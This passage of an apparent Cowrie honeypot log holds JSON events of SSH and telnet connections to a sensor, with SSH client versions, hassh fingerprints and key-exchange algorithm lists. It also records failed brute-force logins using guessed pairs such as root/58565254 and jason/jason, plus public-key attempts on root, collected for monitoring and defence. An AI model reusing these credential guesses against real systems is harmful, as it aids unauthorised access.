4-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:46:21.654549Z","src_ip":"209.227.244.120","session":"5ab5ce3359ab","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"investigacion","password":"investigacion123","message":"login attempt [investigacion/investigacion123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:46:22.052773Z","src_ip":"209.227.244.120","session":"5ab5ce3359ab","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:46:23.147946Z","src_ip":"209.227.244.120","session":"5ab5ce3359ab","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":41.78020524978638,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:46:34.479481Z","src_ip":"172.81.62.90","session":"6c79a5f61689","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.100.248.63","src_port":56226,"dst_ip":"10.17.0.5","dst_port":22,"session":"9fae1b584574","protocol":"ssh","message":"New connection: 34.100.248.63:56226 (10.17.0.5:22) [session: 9fae1b584574]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:46:47.099558Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:46:47.103855Z","src_ip":"34.100.248.63","session":"9fae1b584574","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:46:47.328917Z","src_ip":"34.100.248.63","session":"9fae1b584574","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jason","password":"jason","message":"login attempt [jason/jason] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:46:48.294085Z","src_ip":"34.100.248.63","session":"9fae1b584574","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:46:49.544935Z","src_ip":"34.100.248.63","session":"9fae1b584574","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.58766508102417,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:46:52.705833Z","src_ip":"172.81.62.90","session":"4bd5b6523476","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.93.206.2","src_port":3242,"dst_ip":"10.17.0.5","dst_port":22,"session":"65b87b5067e1","protocol":"ssh","message":"New connection: 38.93.206.2:3242 (10.17.0.5:22) [session: 65b87b5067e1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:46:53.251588Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:46:53.256071Z","src_ip":"38.93.206.2","session":"65b87b5067e1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:46:53.306607Z","src_ip":"38.93.206.2","session":"65b87b5067e1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"58565254","message":"login attempt [root/58565254] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:46:53.482520Z","src_ip":"38.93.206.2","session":"65b87b5067e1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:46:54.534626Z","src_ip":"38.93.206.2","session":"65b87b5067e1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.148.10.121","src_port":41492,"dst_ip":"10.17.0.5","dst_port":22,"session":"638b0232b8db","protocol":"ssh","message":"New connection: 45.148.10.121:41492 (10.17.0.5:22) [session: 638b0232b8db]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:46:56.360363Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:46:56.364607Z","src_ip":"45.148.10.121","session":"638b0232b8db","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:46:56.458863Z","src_ip":"45.148.10.121","session":"638b0232b8db","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.66.112","src_port":48334,"dst_ip":"10.17.0.5","dst_port":23,"session":"4e8141c6824e","protocol":"telnet","message":"New connection: 94.23.66.112:48334 (10.17.0.5:23) [session: 4e8141c6824e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:47:12.862949Z"}
{"eventid":"cowrie.session.connect","src_ip":"182.93.50.90","src_port":36868,"dst_ip":"10.17.0.5","dst_port":22,"session":"f708f2dda09c","protocol":"ssh","message":"New connection: 182.93.50.90:36868 (10.17.0.5:22) [session: f708f2dda09c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:47:15.277344Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:47:15.281302Z","src_ip":"182.93.50.90","session":"f708f2dda09c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:47:15.495841Z","src_ip":"182.93.50.90","session":"f708f2dda09c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"reports","password":"reports","message":"login attempt [reports/reports] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:47:16.385695Z","src_ip":"182.93.50.90","session":"f708f2dda09c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.249.87.183","src_port":33196,"dst_ip":"159.203.135.109","dst_port":23,"session":"8cf449885543","protocol":"telnet","message":"New connection: 103.249.87.183:33196 (159.203.135.109:23) [session: 8cf449885543]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:47:16.913851Z"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:47:17.603926Z","src_ip":"182.93.50.90","session":"f708f2dda09c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"154.16.115.17","src_port":33658,"dst_ip":"10.17.0.5","dst_port":22,"session":"e58cda26d595","protocol":"ssh","message":"New connection: 154.16.115.17:33658 (10.17.0.5:22) [session: e58cda26d595]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:47:42.276202Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:47:42.280516Z","src_ip":"154.16.115.17","session":"e58cda26d595","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:47:42.307451Z","src_ip":"154.16.115.17","session":"e58cda26d595","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"3b:10:31:29:72:84:29:09:e4:95:a5:78:e7:b2:c9:76","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAIEAq/PjdR7lYJWfABkmBXl/5Hg7J0M9lKQN0JV+LdD886z95aJX7Te2QEHdaoNUN8jfQgNO6prw/gdtof5Q/ztlbcFsQ9hw8nlxOi/nuDncbcr/GY6lRrLcNoSzDxDbVPgGyZZA8u9cJU2wz90HaK4tVA/2PaycyefPeSgjR+7ETK8=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 3b:10:31:29:72:84:29:09:e4:95:a5:78:e7:b2:c9:76","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:47:42.422657Z","src_ip":"154.16.115.17","session":"e58cda26d595","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"3b:10:31:29:72:84:29:09:e4:95:a5:78:e7:b2:c9:76","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAIEAq/PjdR7lYJWfABkmBXl/5Hg7J0M9lKQN0JV+LdD886z95aJX7Te2QEHdaoNUN8jfQgNO6prw/gdtof5Q/ztlbcFsQ9hw8nlxOi/nuDncbcr/GY6lRrLcNoSzDxDbVPgGyZZA8u9cJU2wz90HaK4tVA/2PaycyefPeSgjR+7ETK8=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:47:42.425806Z","src_ip":"154.16.115.17","session":"e58cda26d595","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"3b:01:60:8b:a5:33:6f:ea:cc:57:ad:64:13:73:62:7a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCqcBIGzrUMOxIT4gOvVVwUAZvX4FGncC5PHGmi17L98GIgRVisdifeabDANI+0yJxV65Z2S3nXRXXIv8pSki6wypKVhax4EivOBGJOJ3QWI/5INzp4MFsI4HH4kKGbyFjGY5jMykQkrP+mnIFqUY2u9mVlSSkJgwOnO4o93bvAge2ZmP0etZQUt8fM0WVw5k8K3s6nU2Wp2/vXBDJ4JNnO6ySASNdsOxWkGtyV068NW2q2EKCRLvdhpk7nhSs3c9cxcG8PJUO1d/dr0LW4e+GNAQeZeh/QvcdHAb5IKM4CbljhYeepv6KSl584VLo2NPyOBvRA7KO75K7s67/npo+nbq0Lvb58xTxN4lyKc0t3xXJ1ciPvhNm9ckcCsHv55k2cECV3nS6aCAoO+/3b9fuv8IFxo8sPjl3dIv8MKWbU00hjGECDzfrG4KUUUYhxs+fCDkixY8XDWHToYYHNZvqv02qMy3xLHmC54ITvPdUHX7kuOtCP39o4iqQJT1rkTXk=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 3b:01:60:8b:a5:33:6f:ea:cc:57:ad:64:13:73:62:7a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:47:42.455367Z","src_ip":"154.16.115.17","session":"e58cda26d595","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"3b:01:60:8b:a5:33:6f:ea:cc:57:ad:64:13:73:62:7a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCqcBIGzrUMOxIT4gOvVVwUAZvX4FGncC5PHGmi17L98GIgRVisdifeabDANI+0yJxV65Z2S3nXRXXIv8pSki6wypKVhax4EivOBGJOJ3QWI/5INzp4MFsI4HH4kKGbyFjGY5jMykQkrP+mnIFqUY2u9mVlSSkJgwOnO4o93bvAge2ZmP0etZQUt8fM0WVw5k8K3s6nU2Wp2/vXBDJ4JNnO6ySASNdsOxWkGtyV068NW2q2EKCRLvdhpk7nhSs3c9cxcG8PJUO1d/dr0LW4e+GNAQeZeh/QvcdHAb5IKM4CbljhYeepv6KSl584VLo2NPyOBvRA7KO75K7s67/npo+nbq0Lvb58xTxN4lyKc0t3xXJ1ciPvhNm9ckcCsHv55k2cECV3nS6aCAoO+/3b9fuv8IFxo8sPjl3dIv8MKWbU00hjGECDzfrG4KUUUYhxs+fCDkixY8XDWHToYYHNZvqv02qMy3xLHmC54ITvPdUHX7kuOtCP39o4iqQJT1rkTXk=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:47:42.458558Z","src_ip":"154.16.115.17","session":"e58cda26d595","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"a8:e8:9d:52:13:f0:e5:33:ea:1a:18:d7:15:b9:00:40","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCwJAdxqHHDDR2H1ZtpL9KubgxXnXegSTiY2kao81BDBi19FcnRL4KxvxmNM1i4JW+/SHqWg5yDArSdy948E9KP1W4k+RdiX65zxVzzHAsqdzxGbgl20MT35A+0XWNVoTkusN9XV2nO1i8YXSJzRM0nqQVot0kbnpKcmogWV15YHouKzltyYlbuoWfwjBAwc0sCWbtpVMqQ17rJt+cxNTEAgnQ5xDvR/GsAifhskcWsQvXHBWNQ9mi4356MfyUppMPLtq9y2VMf0cKyLyFNfyQyyPN7k99QkHeLRCQmf5O8DKHHDWRqgzVN1+ZsnWiFADvBdBf+EVewZXrMKQo5sPUr","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint a8:e8:9d:52:13:f0:e5:33:ea:1a:18:d7:15:b9:00:40","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:47:42.493544Z","src_ip":"154.16.115.17","session":"e58cda26d595","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"a8:e8:9d:52:13:f0:e5:33:ea:1a:18:d7:15:b9:00:40","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCwJAdxqHHDDR2H1ZtpL9KubgxXnXegSTiY2kao81BDBi19FcnRL4KxvxmNM1i4JW+/SHqWg5yDArSdy948E9KP1W4k+RdiX65zxVzzHAsqdzxGbgl20MT35A+0XWNVoTkusN9XV2nO1i8YXSJzRM0nqQVot0kbnpKcmogWV15YHouKzltyYlbuoWfwjBAwc0sCWbtpVMqQ17rJt+cxNTEAgnQ5xDvR/GsAifhskcWsQvXHBWNQ9mi4356MfyUppMPLtq9y2VMf0cKyLyFNfyQyyPN7k99QkHeLRCQmf5O8DKHHDWRqgzVN1+ZsnWiFADvBdBf+EVewZXrMKQo5sPUr","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:47:42.496270Z","src_ip":"154.16.115.17","session":"e58cda26d595","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"4b:50:2b:80:f1:8c:0c:a0:95:26:22:81:bb:8f:55:f2","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDL3UFxEItXktpJkmpJ+RSS8uSsffyNTFZgn3LarwG0p1QSX/xJsvk0QyMpXSc4OKdZRGXfpM2e7ajhVnnkZXPoS6HcHYUWpI9d9+cH+bjt1S6JcmwMvQJuIrtiP9I6v/5FA8r04enpPyjlrBVu+GkhpbVCH8fBaOuVsl34xWBwiepLzRkUsRmitB/THXQfo9MjSjq60tSrbX2ytIO1Lt33vR2q10ktqKP9Z9e/0LZWizghm7AB7LvGQ1g9UVNA++7TMzp1pRw5/2a7C6c4cPP++Es6YnZZnuoTtRDGVczOhSgG1Jh4SIJAodJDAI4yl5yghhsnI5/FMM4k0drdrgiz","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 4b:50:2b:80:f1:8c:0c:a0:95:26:22:81:bb:8f:55:f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:47:42.524460Z","src_ip":"154.16.115.17","session":"e58cda26d595","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"4b:50:2b:80:f1:8c:0c:a0:95:26:22:81:bb:8f:55:f2","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDL3UFxEItXktpJkmpJ+RSS8uSsffyNTFZgn3LarwG0p1QSX/xJsvk0QyMpXSc4OKdZRGXfpM2e7ajhVnnkZXPoS6HcHYUWpI9d9+cH+bjt1S6JcmwMvQJuIrtiP9I6v/5FA8r04enpPyjlrBVu+GkhpbVCH8fBaOuVsl34xWBwiepLzRkUsRmitB/THXQfo9MjSjq60tSrbX2ytIO1Lt33vR2q10ktqKP9Z9e/0LZWizghm7AB7LvGQ1g9UVNA++7TMzp1pRw5/2a7C6c4cPP++Es6YnZZnuoTtRDGVczOhSgG1Jh4SIJAodJDAI4yl5yghhsnI5/FMM4k0drdrgiz","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:47:42.527813Z","src_ip":"154.16.115.17","session":"e58cda26d595","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"a3:13:33:c2:0f:51:f0:7c:7a:5c:9c:8c:75:ef:7f:f6","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDBHFFZ8p912TpP2InMY9fXVPJ4AjaGKhaskpxm88IqFytIoZyTeijOIwNCh1jyHCpQNuQEco5h3dctypRujvQkaqGhHxcH2ZV0HYCD3hnOHCsinT67/rPtVebJEqwil3+XQKkEjQZwiySMIOq1L6dfclguKpUBcZmaIYb4fM/X7SKCRGLPKj5Vz+zBcxHyu+k8OCJ18r2Le6l7euB/3one07skKj6nrG/bZ6RPH40soF11zEQpIKGQ7AEgtwelrgIVTUysLCXxolUqT4GllCjBMXd7cl5CW1jTPRX6QuDUdFLAGhsV+djwSt8Kp3CuzcbyZdlud5DvddrVfNlyOV7MUCwHuzC9Ha2ljWRhzabQOLMLQeSHgUczQUsEatU9yvZDzKDmZDn3Cl9lEy8OywBdgwwzySsLBAG0EQVx3m1Nl42j3V6IPExen0wDuI1Ecu6013HKDxOgJJiW+VhAXOhaCoVno2Gg4dpryjCav6leoa7tjlu06JPjRsY27ZEgFnHzzhkhEyIGmkn4rF257Ar5n+3VBsU8AJ4/qL8J/ZJBMaKEpu+9CBjNE6pPyIIna3Y0B0aMSubtyG9vVGO+tuCcPOWjzJNJIdYwO0518N0uGltPSp8nUN2tr88fKOI9yhQTS1fDgsuYV/Hmgab1m2wyT9K8j1I/W+8NzVOp5i+NeQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint a3:13:33:c2:0f:51:f0:7c:7a:5c:9c:8c:75:ef:7f:f6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:47:42.555378Z","src_ip":"154.16.115.17","session":"e58cda26d595","protocol":"ssh"}
